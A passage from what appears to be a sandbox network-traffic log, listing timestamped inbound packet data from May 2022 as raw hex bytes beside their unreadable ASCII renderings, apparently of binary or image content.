77 11 20 6e 00 9e fb c0 02 a2 d7 48 69 9d c5 f7 cc 1c d7 0b 84 3c 95 90 4a 0d a7 e7 d2 bc c7 56 6a ac 99 91 ef 5c 36 c9 
c8 6c b8 0a e3 c7 00 80 a4 cb 18 b9 dd fa 3e 1a d6 b4 ac a9 33 b9 d8 38 79 31 e5 2d 8f 68 6d b2 19 4f 94 83 68 dc d7 0d 
dd f7 d5 72 8c 85 54 9b 7c 15 e7 62 c2 46 65 56 c8 b6 bb 4c 4e 80 c1 35 93 b2 35 52 46 5e 1b 62 4f 58 b2 84 37 30 64 03 
a1 ef 8a ea ea ee 5f ed 26 d4 15 8f 19 20 6e 27 74 48 
Data Ascii: "Q5w|TI'@pOwow=NLA~8V2@fgH=kD``E 4EwFr=9w nHi<JVj\6l>38y1-hmOhrT|bFeVLN55RF^bOX70d_& n'tH

2022-05-26 11:46:49 UTC 6375 IN Data Raw: 2b 4a 7c 19 58 a1 18 73 be f0 7c b3 2e a4 c0 24 0b dc f7 75 6a d1 36 88 d9 ee 8f ed ef 6f c6 46 73 85 7f c8 68 
6d d0 49 fb e7 5a cf 94 68 db 8e 06 ff 00 90 30 06 cb b6 47 d3 11 32 a6 d0 7c 3e aa 3e a0 0f b7 fe e1 f7 1e 1e 61 89 54 
3b 66 6b 36 d8 dc 40 f9 68 05 ad 52 f1 84 1c 99 a1 ee be f1 c8 e6 e3 c1 c0 c4 37 b6 42 0b 30 20 79 f5 09 2b a6 d1 f6 b5 
43 6e d8 5f f7 06 c6 73 3d af 95 cd 63 cb c6 f1 8d 3c b8 c8 b8 dd 1f a5 7a 81 d7 cd ff 00 15 09 79 1d 91 b3 8f 1e fc 0a e4 
8d db 6e c4 0d 40 bd bc 7a 57 48 e0 4a 70 f2 e7 2a d8 ce ec 73 a8 b5 bb e6 97 c9 51 e0 c9 f6 2e 2f 17 dd 39 1c 8c bc 89 
53 8f 23 a0 0a 66 4a 92 22 d1 b5 47 f4 8f af f5 4d 54 42 90 4d 3c 17 7d cf 1e 32 42 2c 28 1f 49 61 a4 75 23 bb a5 27 92 
19 55 71 04 db 91 c9 dc c0 c0 6d 20 fc a8 d1 99 54 
Data Ascii: +J|Xs|.$uj6oFshmIZh0G2|>>aT;fk6@hR7B0 y+Cn_s=c<zyn@zWHJp*sQ./9S#fJ"GMTBM<}2B,(Iau#'Uqm T

2022-05-26 11:46:49 UTC 6383 IN Data Raw: ee bc 0f 0e df 1a d5 b0 32 f1 65 38 4f 95 80 72 77 10 40 01 81 bc 09 9e ed 2b 5a 55 32 1b 6b 46 ee 05 d8 d2 
a4 ef da a4 5e 56 dd f5 d5 f4 19 64 68 2d 0d 26 dd a3 b7 e7 4d 7f 9f f3 2a 4c bf 76 e6 65 c1 c7 19 42 87 28 09 b8 82 4f 4e 
fa 51 22 27 89 c3 cd c8 f6 c5 0e c1 b3 6d 2d 3d 24 de 3e 1d bd 6a 3b 29 8c 14 9f b3 c2 fb b6 2c bc 5e 40 c3 cc 50 32 64 
92 1a e2 44 f4 bf 6f 4a e1 88 1b 92 70 7b 4f 2f 93 c6 5c d8 8e 93 b4 6e 31 1f f1 68 2b 5e 0c cf 91 af c0 e3 67 e0 60 c6 9f 
53 38 2b 91 14 98 24 12 3c a7 f2 fd 55 bf db f0 67 cc bb 91 83 92 cc 5f 10 01 80 db da 75 22 2b 91 d5 26 6f ca 42 e2 6d 
c2 a5 72 65 c8 bb 81 29 05 7c 80 f5 98 98 f8 d3 e2 c9 93 d0 05 7e 0b ab 16 76 77 1d 7c eb 1d 21 aa d6 05 26 86 50 be 
93 79 50 b1 53 e6 51 07 4d 0c d6 86 95 33 f8 99 01 c4 
Data Ascii: 2e8Orw@+ZU2kF^Vdh-&M*LveB(ONQ"'m-=$>j;),^@P2dDoJp{O/\n1h+^g`S8+$<Ug_u"+&oBmre)|~vw|!&PyP
SQM3

2022-05-26 11:46:49 UTC 6399 IN Data Raw: 12 18 6d 05 9b 4e a6 d4 72 8f 21 02 c8 05 a6 ec 2a 36 32 0a 6d 58 0a 07 85 ea f4 1b 09 c4 dd a6 d7 99 a6 fd 
88 ed 8b 04 ac 13 13 a7 e7 42 c6 89 60 ae 01 94 0d d7 3f 6e 95 2f 03 45 8f 48 a1 02 3f 97 67 ce a5 49 4c 29 0c 01 24 40 
b5 ef 5b 44 99 8a 25 48 11 3a 7c a2 8c 00 2e 53 18 0a d3 7f b0 a6 dc 8a 05 3a 32 90 50 cf 40 63 f1 f0 a9 b1 41 28 2d 94 
b1 30 b0 01 f1 ed a9 aa 29 b0 82 4c 43 5b 4b 0f ce aa 1b 09 04 30 19 02 83 32 62 c3 41 44 62 04 5c c7 8d 51 b6 a9 be 
b0 7a 53 4e 30 0d 48 42 52 cd f3 bc 77 de 9f 25 e4 97 56 29 01 39 58 33 02 a2 21 6a 39 27 a1 aa b2 c6 c1 ba c4 13 d9 1a 
7c 68 4b 23 19 bb 42 48 11 d6 ad 12 06 d6 66 57 b1 1f c6 b3 6b 32 5a 61 96 b1 9e b6 8a 39 7b 08 0a 55 88 0b a0 81 6a 
62 06 5e 64 92 3f 8d 48 c2 06 5b 61 d4 01 06 28 6c 09 d9 b8 6d 
Data Ascii: mNr!*62mXB`?n/EH?gIL)$@[D%H:|.S:2P@cA(-0)LC[K02bADb\QzSN0HBRw%V)9X3!j9'|hK#BHfWk2Za9{Ujb
^d?H[a(lm

Timestamp
kBytes
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2022-05-26 11:46:49 UTC 6415 IN Data Raw: 49 a2 33 cf 23 3e 39 c9 c7 71 e9 a9 1b 94 68 6d 23 72 f5 ec fe a5 aa ab 75 d9 2d 2b 1e bf da 7d c9 39 38 17 
22 63 55 56 9d c8 b0 58 30 b0 1d e0 f4 3f 3a 6d 96 92 43 7d d0 2f 1b 85 98 e3 1b 14 2b 48 e8 6d d9 fa 7f e5 b1 ab a6 44 
d1 63 db f9 49 ed 7e d2 99 33 b0 00 a1 dc b1 71 b8 ca 0f 1f d5 f1 ad 2c 9b 6e 09 ab f2 79 df 71 fd c1 9d 97 d0 f2 86 da 85 
98 18 37 13 0b fa 6d 35 37 fd cf 03 98 30 79 1c 8e 5f 28 4e 59 29 d5 88 f9 79 a3 e5 4a b5 5b 63 6c d0 fd be c3 17 3f 0e cb 
38 c8 92 45 ec 7c ae b1 69 dc 0c 57 42 4b 64 e4 fa 37 b9 e5 e4 f1 31 bf 23 02 07 c0 aa a7 d2 0a 55 a4 fd 53 3d 83 5a c9 
af 46 c9 fb 3c bf 37 df 32 67 ca 51 31 96 0e 3c 92 b7 0c 60 28 90 34 e9 fc 6a 55 4a 66 d7 b1 7b 17 3b 89 c9 6e 4f 33 89 
09 b6 16 08 9b 8e 97 d3 ef ad 53 5a 66 4d 9b f9 38 
Data Ascii: I3#>9qhm#ru-+}98"cUVX0?:mC}/+HmDcI~3q,nyq7m570y_(NY)yJ[cl?8E|iWBKd71#US=ZF<72gQ1<`(4jUJf
{;nO3SZfM8

2022-05-26 11:46:49 UTC 6423 IN Data Raw: 4d fb eb a5 28 c1 9c 8f 5e 7e 7c ce ad 28 a9 31 b6 24 f8 cd 29 f6 69 32 33 93 cc cd cb c5 93 02 7f 65 48 95 81 
7f 29 98 93 a7 da 28 fa e0 69 81 fb 67 8b 87 88 de a6 60 cb 97 6c ee 8b 21 b6 9f 77 e2 6b 3b 30 6a 4f 4b ce e7 a4 22 f2 
99 8e 10 19 5a 06 d2 5b 50 c3 a9 5f e9 9f d5 59 db 1b 04 8f 1f 9f 98 39 f9 99 b3 18 60 6f 7b b4 7f b7 a5 ab 95 a9 c9 48 c8 
e4 fb 56 2d bb 70 64 20 ad 88 68 3d fa 0f f5 ad 15 9a 07 50 fd 9b d7 e4 3e 44 c9 bd e1 44 85 1b 98 ac 8b 5f b3 a4 9a 5d 
8b d0 57 e4 d8 cb ed 39 b9 20 67 e3 61 f4 a0 0b 65 1b 49 bf 97 6e b2 7f ab e9 ac ab f2 3b 34 87 63 e3 73 b8 38 91 f9 04 
8c ac db b6 af 79 e8 da 7f e2 ad 21 49 cd 76 e0 db 19 53 36 47 e4 16 dc ca be 66 ed e9 bd a3 e4 d5 84 9d 94 9f 23 9b 94 
ac df e3 92 03 31 06 08 9b 1e ac 7a d3 8f 46 a5 1e 
Data Ascii: M(^~|(1$)i23eH)(ig`l!wk;0jOK"Z[P_Y9`o{HV-pd h=P>DD_]W9 gaeIn;4cs8y!IvS6Gf#1zF

2022-05-26 11:46:49 UTC 6439 IN Data Raw: af 27 b3 18 3a 67 06 2e 5e 1f 0c 06 77 c6 7d 43 61 22 de 33 a7 75 63 5b 49 9c 22 b6 7e 4b 63 c4 c1 59 51 f6 
b0 4e 8a 24 ed 96 ee 51 5e 85 18 22 af b4 f0 e1 f1 f1 82 81 9b 73 5c 5a 67 ae de 87 68 d2 aa f6 f2 89 e2 7a 16 76 c7 81 
f8 d9 50 4c 46 82 63 bc c6 bf 1e ca e3 96 f6 19 58 2a fb 67 1b 2f 1b 8e 3f c8 c9 0c e4 ee 52 b3 20 88 fc 3b 2b 58 f0 42 3b 
37 03 2f 17 37 a6 8d fd a6 1b 94 90 3c b0 63 ad ad f0 9a 4f fd 06 f6 76 ee 5f 1c b9 f5 21 c9 fa 85 88 b7 76 b2 2a 54 48 f9 
33 87 ee 8e 4e 0c a7 30 fe fa 00 41 4d d0 7b ca 93 fa be e8 b5 b5 ae 8a 28 25 de 4d 7c 9e f7 c0 e5 60 19 bd 0d de a0 0c 
ac 0c a1 60 20 82 ca 2c 57 4d bf 3a e8 71 e8 8e 46 66 4f 79 66 7d 8e db 53 24 c2 a2 dc b0 d2 f7 fb af 51 21 ca 36 02 f2 
72 e1 c9 23 13 43 4c 49 00 f8 91 58 2b 9b c9 9f ee 
Data Ascii: ':g.^w}Ca"3uc[I"~KcYQN$Q^"s\ZghzvPLFcX*g/?R ;+XB;7/7<cOv_!v*TH3N0AM{(%M|`` ,WM:qFfOyf}S$
Q!6r#CLIX+

2022-05-26 11:46:49 UTC 6455 IN Data Raw: de 99 04 19 3a 98 b5 73 da 92 48 ce 4f ba 72 65 4e 28 68 86 90 20 c0 83 78 eb 3f f5 55 d5 b8 f4 43 47 a5 f6 5f 
76 4f 74 c5 38 a5 59 4c 34 91 20 f4 3f 18 f0 ae 8a b9 11 73 95 8b 37 35 8e 4c 9b 7d 12 20 11 02 f1 68 9b cc f5 ad 2e b9 
21 a7 07 90 e6 2b f1 58 e2 73 11 70 40 9e e0 48 e9 3d 7c 2b cc 87 30 74 19 80 96 2a c4 4a 83 30 a7 6c fc aa d2 1c 9b 
3e d1 ee 7e cd 8f 28 db 80 ab 82 20 c1 76 99 d0 f5 3e 35 d5 4b c7 83 36 a7 c9 ef 1b 8d 99 57 7c 02 0d e0 5e da 79 ba d7 
4d 7b 53 70 65 c4 a8 41 73 3d ba 11 db df 5d a9 4a 20 25 21 89 fe a1 1f 2a b4 91 32 30 8f 55 82 01 68 d6 7b 0d 10 31 c8 
77 11 22 6d af 6d 3d 88 86 da a9 a4 1e 87 f1 a1 20 92 c7 17 21 20 34 4c 88 22 2a 66 4a d0 1e a3 71 11 c6 20 19 d8 8b 
93 a4 f6 d4 e5 2c 7e 60 89 f5 f3 2a 36 21 b8 bd 81 73 78 9b 
Data Ascii: :sHOreN(h x?UCG_vOt8YL4 ?s75L} h.!+Xsp@H=|+0t*J0l>~( v>5K6W|^yM{SpeAs=]J %!*20Uh{1w"mm= ! 
4L"*fJq ,~`*6!sx

2022-05-26 11:46:49 UTC 6462 IN Data Raw: 4d bc 9c be 37 11 d5 b9 7c 77 4c a7 72 ed c8 f3 b4 0d 62 14 7d ad 49 d9 a7 2f fd 45 28 b2 d9 30 f2 59 bd 0c 
4a e1 c4 31 45 1b 8a 81 62 36 c1 b7 8d 6f 56 fc 10 d0 79 b9 0d 93 17 f8 61 4f a2 c8 c1 94 ac 00 91 79 93 f7 0a 6e f0 52 
47 82 cd c3 ff 00 b7 66 5e 3f 1c 6f c6 c3 50 4c 58 fd 3e 61 33 5b a7 24 bc 68 8f da de d3 81 3d c1 f0 e4 07 d3 7c 50 0c 1d 
aa d7 25 58 f6 11 fa b4 9d 6a 2d 69 44 d7 0c f6 2d ed 98 39 4f 8b 07 3a 53 15 c8 7c 6c 3e a8 85 24 c6 bf f8 7f 50 ac d6 cd 
9c 0e f7 0f d8 b9 01 6c bc 7c ec c8 e2 76 35 a4 44 12 18 5b e1 5a 35 e1 88 f2 fc bc 59 39 45 c7 19 81 74 51 be 6c 45 f6 
8e cd 35 db 58 ca 4c 8b a2 a6 46 4c 58 93 32 05 1c 95 12 eb 1a b1 ef 3d 20 55 2d c0 9b c1 ab c2 e4 63 c9 90 66 f4 80 c6 
86 00 58 1b ba c5 84 2a f8 5c d7 9f dd 6e 0f 23 52 
Data Ascii: M7|wLrb}I/E(0YJ1Eb6oVyaOynRGf^?oPLX>a3[$h=|P%Xj-iD-9O:S|l>$Pl|v5D[Z5Y9EtQlE5XLFLX2= U-cf
X*\n#R

2022-05-26 11:46:49 UTC 6478 IN Data Raw: 4c b0 84 02 2f d2 c3 f8 51 05 06 09 eb 3f 21 48 44 b5 c5 e7 68 f8 7e 55 42 62 f2 1e dd 4d f5 fc 68 01 0c ec c4 
6b d9 3f 63 46 40 57 9c 0f 32 c8 1a 08 d6 9a 42 92 10 b9 22 dd a2 0d e3 ef ad 55 4c dd 89 2a 58 90 7e 54 41 22 4a bb 13 
bb 4e 9d d4 b8 95 20 ec 22 e4 8f bb f2 a5 a0 d9 ff d7 a5 c8 ce d8 b9 43 6b 07 c6 e4 9c 57 b0 6e c6 23 f3 fa 6b e2 53 9c 
9e bc c1 1e f9 c4 c9 cd e3 65 2c 4e e6 38 fc a8 48 90 ac 37 00 75 da 5a 66 da 56 f4 89 fd 44 e4 ce f6 c7 cc dc c7 ff 00 2b 
1b 2e 48 2d 8d 76 c0 55 06 f1 e1 d5 8f 99 ab 19 83 2a fc 9a 1c 8f db 5c 4e 6e ec f2 43 b1 0e 09 10 47 6c 11 a1 ff 00 77 fd 
53 54 d0 70 f4 2b 9f ed 58 f8 98 7d 47 c3 bd a2 0b 22 03 20 f6 0d 2d fe ed 6b 2b 7c 17 11 b3 13 85 ed 9c 4c 99 b0 e1 79 
c4 51 d5 92 df ab 59 0c 06 f5 9d 5a 1b 41 55 4b 
Data Ascii: L/Q?!HDh~UBbMhk?cF@W2B"UL*X~TA"JN "CkWn#kSe,N8H7uZfVD+.H-vU*\NnCGlwSTp+X}G" -k
+|LyQYZAUK

2022-05-26 11:46:49 UTC 6494 IN Data Raw: a3 64 92 51 83 95 66 51 1d 06 90 69 40 04 a8 c2 26 ed dc 4d 00 0e 4f 5c 38 db 0a a7 ea 3d 7e 11 49 c8 c8 4c 
85 17 63 38 66 03 cd 68 23 e1 42 64 f1 27 d6 c3 96 c4 9f 18 fe 54 a5 31 f1 65 61 c2 2c ec d8 c9 8b 11 d4 82 3b 06 82 a6 
24 50 06 3e 07 23 1b c6 39 da 74 6f 00 6e 0f 7d 52 42 65 9e 3e 6c 82 11 87 9b 53 d6 7e 15 ad 59 93 a9 60 72 fd 34 08 cc 
40 98 0d d9 d9 54 9a 17 ee 43 71 ba 66 40 f9 08 04 de 66 b4 f9 23 2c 06 c5 88 91 b5 a6 27 b3 4f 0a 30 57 16 17 15 70 fa 
df ee 8b 5f b3 b2 a5 b4 cd fa 53 4c b3 91 31 31 b8 04 8a cb 07 6c 81 04 12 01 91 1a 48 a4 b2 1c a0 9d c5 ed 72 34 32 7f 
95 09 04 c9 53 9a b8 80 01 d4 6f 22 dd 0c 57 55 0f 3f be 16 c4 61 5d c4 fa 44 80 24 5a f1 35 bb 93 8e 89 0f 57 c9 32 d0 
4c c1 20 fc cc 6b 59 4c 9d 29 40 f4 3b cc 0f 9d 41 b2 27 
Data Ascii: dQfQi@&MO\8=~ILc8fh#Bd'T1ea,;$P>#9ton}RBe>lS~Y`r4@TCqf@f#,'O0Wp_SL11lHr42So"WU?a]D$Z5W2L 
kYL)@;A'

2022-05-26 11:46:49 UTC 6502 IN Data Raw: 47 18 fd 35 24 06 80 3a c0 9d 07 67 80 ac f4 69 32 65 3e 1f f2 97 d0 38 ce e0 75 06 d1 d7 be b4 96 cc 8a 3c 
6c cd ec 44 04 65 f4 19 94 6d b9 b9 30 48 ef eb f7 1e 94 ad 94 3a b8 3d ef 3f dd b1 e6 cc 9c 67 10 17 59 22 f6 11 1f 6b 
57 97 d0 9a fc 4e db 40 b2 8c 50 e3 68 2a d3 ac f8 57 5a f7 e4 c9 99 78 f1 e4 c6 7d 33 f0 9e 83 e1 5d 53 26 49 06 ca 57 
cc 05 ba de c4 9a 18 03 87 fb 2d fd b8 8e a0 fe 22 2b 1b 29 29 7c 9a ef 95 79 38 d3 23 0f 38 1d 0f 94 8f b6 95 95 3a e1 
96 ed e0 52 63 39 5b d4 43 71 20 7d be 15 d6 60 44 92 5b 70 8b 0a 06 57 6c 39 25 8c 49 36 37 b5 03 80 fd 31 ba 18 00 
d1 ac fc be 54 40 0d 5c 6c 56 4f 99 a0 cf 5f 0a a0 0d 65 41 b5 e7 ba ae ac 50 2c 10 5e 2c 3a 4c 6b 44 82 24 6e d0 c0 03 
b4 1b 0f be 84 ca 05 1b a8 2a 4f 52 24 55 48 10 ac 8a 77 ab 
Data Ascii: G5$:gi2e>8u<lDem0H:=?gY"kWN@Ph*WZx}3]S&IW-"+))|y8#8:Rc9[Cq }`D[pWl9%I671T@\lVO_eAP,^,:Lk
D$n*OR$UHw

2022-05-26 11:46:49 UTC 6518 IN Data Raw: a8 eb 90 99 83 d5 85 a2 b5 ab f6 64 f2 27 97 ed b9 39 8a 59 d4 c4 c2 90 06 9d 26 6d f1 aa 69 78 26 0c 77 c0 
dc 5c be 96 52 26 62 09 06 6f 16 22 69 19 8e 4e 3f b5 9c e9 8b 9e ad 08 36 e5 82 61 b5 13 b8 e8 17 4a 39 3d a3 44 97 
93 57 ff 00 c9 ce 77 0b 84 78 f8 32 b3 e0 57 31 98 83 2a a7 cc 01 82 4b 01 6d ae 2d 07 ba b0 5d 89 bc ec d3 8b 11 fb 79 
f2 61 e6 8e 5f b8 e7 23 16 46 96 c7 b4 3c 1b 6d 2c 7c 75 f0 ad 6f d6 da c1 9d 6e 91 bb ce e7 1f 74 e6 e5 7c 67 72 a9 da 
1c 02 24 68 22 7c 3b 6b 1a 51 d5 41 ab bc b2 99 ce f8 ce c8 20 09 eb 6d 6d 7a d0 c5 db 23 d3 3b 01 27 ca d7 b0 ee 34 
a4 72 12 64 c9 ba 58 03 6b 89 fc fb eb 54 c0 82 e1 93 6c 77 83 70 41 9a d5 af 40 99 4d 30 36 cf 55 25 1d a4 b2 93 3e 62 
75 ff 00 4a ba 28 13 72 24 ef 48 3d 7b 22 00 35 ab 44 8f 4c b8 
Data Ascii: d'9Y&mix&w\R&bo"iN?6aJ9=DWwx2W1*Km-]ya_#F<m,|uont|gr$h"|;kQA mmz#;'4rdXkTlwpA@M06U%>buJ(
r$H={"5DL

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 6534 IN Data Raw: 45 b0 b8 f3 06 f1 91 ac 50 eb 21 30 1a 67 74 8c 88 43 09 3a 0b df b3 74 54 65 95 82 ca e7 c9 9b c8 d3 13 20 
1d 7b 3e ea b5 58 d8 a4 33 89 5c 9b 69 6d d7 06 de 3f 95 60 da df fc cd 0b 18 30 20 fa 42 db aa 82 04 9e b6 b5 44 21 c8 
65 98 30 57 2f 73 db 13 1a 75 b5 38 90 93 3b f7 0f 37 2f 03 81 93 3e 20 ca f6 0a e4 cc 13 69 d3 b2 ae b4 93 3b 5a 0f 8f ff 
00 ee 37 21 fd e7 03 e4 c2 de 41 91 19 41 36 db 7d e6 7f 48 60 2e 23 cd 5d 9d 6b 8b 93 9a ef 91 9d ed 5c 7c 88 82 33 4e 
15 c6 b8 bc cc 0e c8 89 dc 57 5f 35 97 b9 7b 4d 55 a0 84 9b 3e a1 fb 1b dc f0 73 78 79 fd a4 ed 4e 66 1c 8c f8 d9 48 0c 
71 b0 05 5f fd c5 4c 83 1f a6 3a 57 35 97 93 ad 60 d2 7f dd 79 31 fb 8e 1e 0e 4c 0c 1f 39 65 57 27 ca 19 6f b1 ba a9 8f 32 
d7 32 b3 6c d2 14 1a d9 f8 d9 f3 98 cc e0 20 dc 4c 
Data Ascii: EP!0gtC:tTe {>X3\im?`0 BD!e0W/su8;7/> i;Z7!AA6}H`.#]k\|3NW_5{MU>sxyNfHq_L:W5`y1L9eW'o22l L

2022-05-26 11:46:49 UTC 6542 IN Data Raw: 90 b8 92 df d4 75 81 f6 ff 00 c5 58 d9 9d a9 41 f4 bf 63 f6 e1 8b 1e d4 55 0a b0 09 31 d3 a7 87 f5 9a e7 b3 31 
76 8d 9a dc 5e 79 c6 32 0c 64 a2 1f 28 ec 3b 74 3f 0e 95 5c 24 e7 bf 63 21 b2 7f 92 cd 87 9a 49 c7 94 96 66 b2 ed 9b 89 
8e da d2 23 28 c1 5a 44 63 f5 3d 9b 20 7c 59 3d 4e 3b b0 28 d3 22 41 04 ed 23 c2 93 4a e8 69 f1 67 aa 4e 7e 35 52 58 
13 87 28 2e a3 b8 49 23 e7 d6 b1 a7 a3 66 7b 4f 6b f4 3d c3 10 ce 1a 14 c6 db 0d 4d fe f1 d3 b6 b6 69 a7 28 c6 64 3c ea 
30 9f 3b 85 ec 9d 35 80 2c 35 ee a5 cd 79 27 8c 11 fe 40 c6 ed 8d ac ca 24 ee 20 1b 75 86 aa b4 09 49 77 87 cc e2 33 8c 
4d 97 1a be 9b 64 82 3c 7b eb 99 bf 47 42 f9 34 9d 71 32 c3 b0 04 77 c4 45 4c 9a 71 92 86 7e 6f 0f 83 88 65 7c 8a 31 98 
dd 79 22 6d 30 3a 4e b5 0b 25 44 19 bc fe 5f 17 18 67 c9 
Data Ascii: uXAcU11v^y2d(;t?\$c!If#(ZDc= |Y=N;("A#JigN~5RX(.I#f{Ok=Mi(d<0;5,5y'@$ uIw3Md<{GB4q2wELq~
oe|1y"m0:N%D_g

2022-05-26 11:46:49 UTC 6558 IN Data Raw: 23 7d cb 29 22 3a 47 c3 c2 93 45 0a 63 bd fa 95 13 a1 89 a9 e2 39 38 10 ab 0c 5a 63 4e ca 9e 23 90 d7 26 26 
1b 41 f9 d5 f1 64 72 1a 57 13 91 b5 40 31 06 2d 71 d6 84 38 18 74 3e 60 56 da 03 fe 94 48 a0 04 f4 5d 99 8a da 4d c9 d0 
0f e3 49 a9 34 4e 0e c8 b6 24 92 46 bd 91 50 d9 a0 85 0a 04 11 11 63 6b 76 d5 92 c9 0d 90 99 58 24 eb d3 43 48 05 e5 
2d 90 15 0a b7 d2 62 3c 69 a0 00 a2 62 06 08 3b a2 27 4f 9f 4a 60 59 c2 af ea 01 bb 61 26 34 f8 54 b6 31 cf 87 2e d2 ae 
eb 10 75 3a df c7 b2 b2 fb 89 15 c4 66 3f 6f 4c f8 c3 2b 79 4f 55 bc d4 be df 45 2a 88 e5 f1 f2 e0 23 7c 32 4c 02 7a 49 ad 
2b 75 62 1a 82 92 15 54 39 09 be 90 63 e5 5a b2 0b fc 1e 52 3b 01 90 8d c0 00 ac 44 1f 0d c2 b9 ee a0 e8 a3 37 1f 12 36 
15 c9 ea 2e f2 c4 15 00 86 58 02 e6 db 76 b7 4a c4 dc c4 
Data Ascii: #})":GEc98ZcN#&&AdrW@1-q8t>`VH]MI4N$FPckvX$CH-b<ib;'OJ`Ya&4T1.u:f?oL+yOUE*#|2LzI+ubT9cZR
;D76.XvJ

2022-05-26 11:46:49 UTC 6574 IN Data Raw: 3e c5 e0 42 62 69 bc 95 26 e5 35 ff 00 5f 1a d6 0c be eb 2b 72 72 2a 9d ca bb 3a 2a 44 c0 ef 63 af 79 8a a5 
52 1f 6b 3f ff d3 f8 01 e7 fa 40 4f 98 68 18 5a be 75 f5 bb b2 e8 d5 34 31 f9 08 4f d5 6e d8 e9 59 7d b6 68 bb 2a 49 c8 4a 
c1 fa 4f 4a 4a 86 76 ec 9d 0a 0a 80 ef 63 a7 4e de fa bc 93 c8 81 95 30 ac 63 d7 a9 22 d4 b8 b7 b3 48 45 6c 8b eb 5d c0 
91 d8 75 15 d0 b1 a2 59 18 d1 0c a9 70 90 2d 20 9b f6 53 6c 98 04 f1 57 2a 90 d0 54 58 91 7b d3 e5 02 82 b7 2f 1f a3 c5 
29 8c c8 10 2e 4c 8e fa a9 97 23 48 cd e2 e1 2a be b0 2b b9 18 5d 44 49 e9 7e b1 5a 36 53 f4 6c f2 32 bc 0c 8c db 9c eb 
22 44 fc 2a 6b 5f 08 c5 b8 33 b9 2e 31 bc d8 4a 5c 4c 83 7d 2d d6 b6 aa 25 a1 58 b2 2b dd 41 f2 fd ad 54 d4 03 13 cd e5 
3e 13 38 d6 4b 13 e5 2d 23 4b 83 dd df 4e b5 92 59 ea 
Data Ascii: >Bbi&5_+rr*:*DcyRk?@OhZu41OnY}h*IJOJJvcN0c"HEl]uYp- SlW*TX{/).L#H*+]DI~Z6Sl2"D*k_3.1J\L}-
%X+AT>8K-#KNY

2022-05-26 11:46:49 UTC 6582 IN Data Raw: 8c 23 c7 73 e7 c8 84 ee 3a f6 c5 27 80 22 d8 81 91 e6 16 23 be a4 0b 61 14 f9 87 67 60 35 23 81 d8 99 51 3d 
40 2e 34 23 4f 1e bf 85 00 76 47 19 04 ab 81 e3 6f bc 53 24 5e ec 86 49 32 a2 75 a6 29 05 9c 21 dc b2 1b a5 cd 0e b2 13 
04 1e 4e 40 d2 09 07 be a7 80 72 2d 60 f7 17 c6 02 64 5f 28 ec d6 b3 b7 57 a2 d5 fc 0d c9 cd c0 d0 81 8e f9 99 9d ba ff 
00 51 33 4b 88 a7 25 1e 77 1f 26 45 0c bf 49 b4 cc fc bb ea e9 64 82 d5 6c ff d7 f8 df 33 dc bf ed bc 65 19 11 99 d8 ec 05 
4c c0 8d 64 0d 7f db 5f 07 d7 d1 f7 ad 87 80 4a 0c 2f 78 f7 1e 47 3f 03 f1 df 11 33 05 19 8c ba ff 00 f6 87 64 dc 57 ab d1 fc 
6a f5 db 92 7f f2 64 da 59 e3 f2 ab 23 46 d8 83 a1 12 6b da 92 0d 7f 66 e1 65 f7 2c cd 8b 90 e1 15 57 70 98 24 f7 09 b5 fb 
eb 97 bb b3 82 94 34 a4 d4 c3 c0 e2 e2 cb fd 
Data Ascii: #s:'"#ag`5#Q=@.4#OvGoS$^I2u)!N@r-`d_(WQ3K%w&EIdl3eLd_J/xG?3dWjdY#Fkfe,Wp$4

2022-05-26 11:46:49 UTC 6598 IN Data Raw: 68 7c e4 2c 2a a4 eb 0f 36 9b 93 48 de ac af 91 9c b6 a4 0e 86 01 11 e1 52 b1 83 8e cb 30 72 14 cc 9e 9b 25 
c6 84 6b 6a 99 80 53 6c 32 ca a6 e9 5b 09 fc 3f d2 86 74 36 c5 64 5d de a3 16 85 1f 4f 4f 84 1a 11 36 78 2a e3 e3 e6 80 
33 b2 9c 7a ed 26 24 f7 c5 75 2a ad 9c bd 74 b3 79 19 cb cf 93 23 85 c7 b1 5a 63 60 85 5b 88 b0 16 b5 2f f7 1d 6c 1c 3e 
e2 f8 1c ae 71 36 31 1d a7 f5 7c 2b 37 d6 52 b4 6c b1 c3 e6 1e 51 19 43 05 c8 a6 7a a8 31 1d 2a 5d 63 03 ad a4 47 37 36 
4e 56 73 90 8b 93 16 fc eb a6 aa 11 9d 81 55 22 40 6b 91 71 79 1f ce 93 64 09 ca 92 6f 62 05 e7 b6 9a 60 50 cc 8c 8f b9 
41 56 11 e0 3f 91 ad 13 2d 32 a1 1b e4 b0 b9 ef 91 35 aa 14 9a fc 5e 4b 72 d5 77 92 72 20 db f0 e9 f7 57 35 94 14 dc 8c 
53 93 89 99 79 18 4c 32 10 47 8f 85 24 e4 68 ad cc ce 87 
Data Ascii: h|,*6HR0r%kjSl2[?t6d]OO6x*3z&$u*ty#Zc`[/l>q61|+7RlQCz1*]cG76NVsU"@kqydob`PAV?-25^Krwr W5
SyL2G$h

2022-05-26 11:46:49 UTC 6614 IN Data Raw: 48 b1 15 d1 5a b4 63 65 25 2b ac ba ac 85 b0 32 2d de 2b a2 08 58 2b e4 e4 be 65 0a c0 2e de c1 7f 13 de 2a 
d6 03 99 67 13 d8 00 67 19 50 65 ad b6 0c 1d 35 9a 8b 51 17 86 06 67 f4 d8 a3 c8 0c 67 e1 db e1 db 49 53 d0 9d 60 3c 
78 30 e5 c4 a5 58 c0 f0 3e 36 a5 30 2e ba 71 50 71 d8 80 2b dd 34 9e a3 e7 ad 4d ab cb 2b 03 b5 4a a7 8a 70 b8 cb c7 
6d f8 cd c8 d4 7f 2a aa 59 bc 33 3a fc 96 77 60 4f 2c c4 e9 3d dd a6 a6 1b 36 91 c0 ef 30 b7 27 4f 1a 36 30 46 66 9d a1 
66 7b 04 f5 bd 52 40 51 95 cc c7 6c b3 cf 5a d4 92 de 1f 6c 60 a3 36 6d aa 34 0b 1d 3b fb eb 07 dd 98 45 fd bc 48 ec 38 
82 92 c9 6d 41 5d 7e 00 f6 52 76 12 52 5b c0 8f 8a 4c 42 7d ba 56 4e b2 86 9b 2b 7b 8e cc bc 70 fa b0 ec e9 7f c2 b4 eb 
50 c9 da 30 97 26 31 91 d5 b7 06 2b 31 ad c5 f5 ae b8 70 54 28 
Data Ascii: HZce%+2-+X+e.*ggPe5QggIS`<x0X>60.qPq+4M+Jpm*Y3:w`O,=60'O60Fff{R@QlZl`6m4;EH8mA]~RvR[LB}V
N+{pP0&1+1pT(

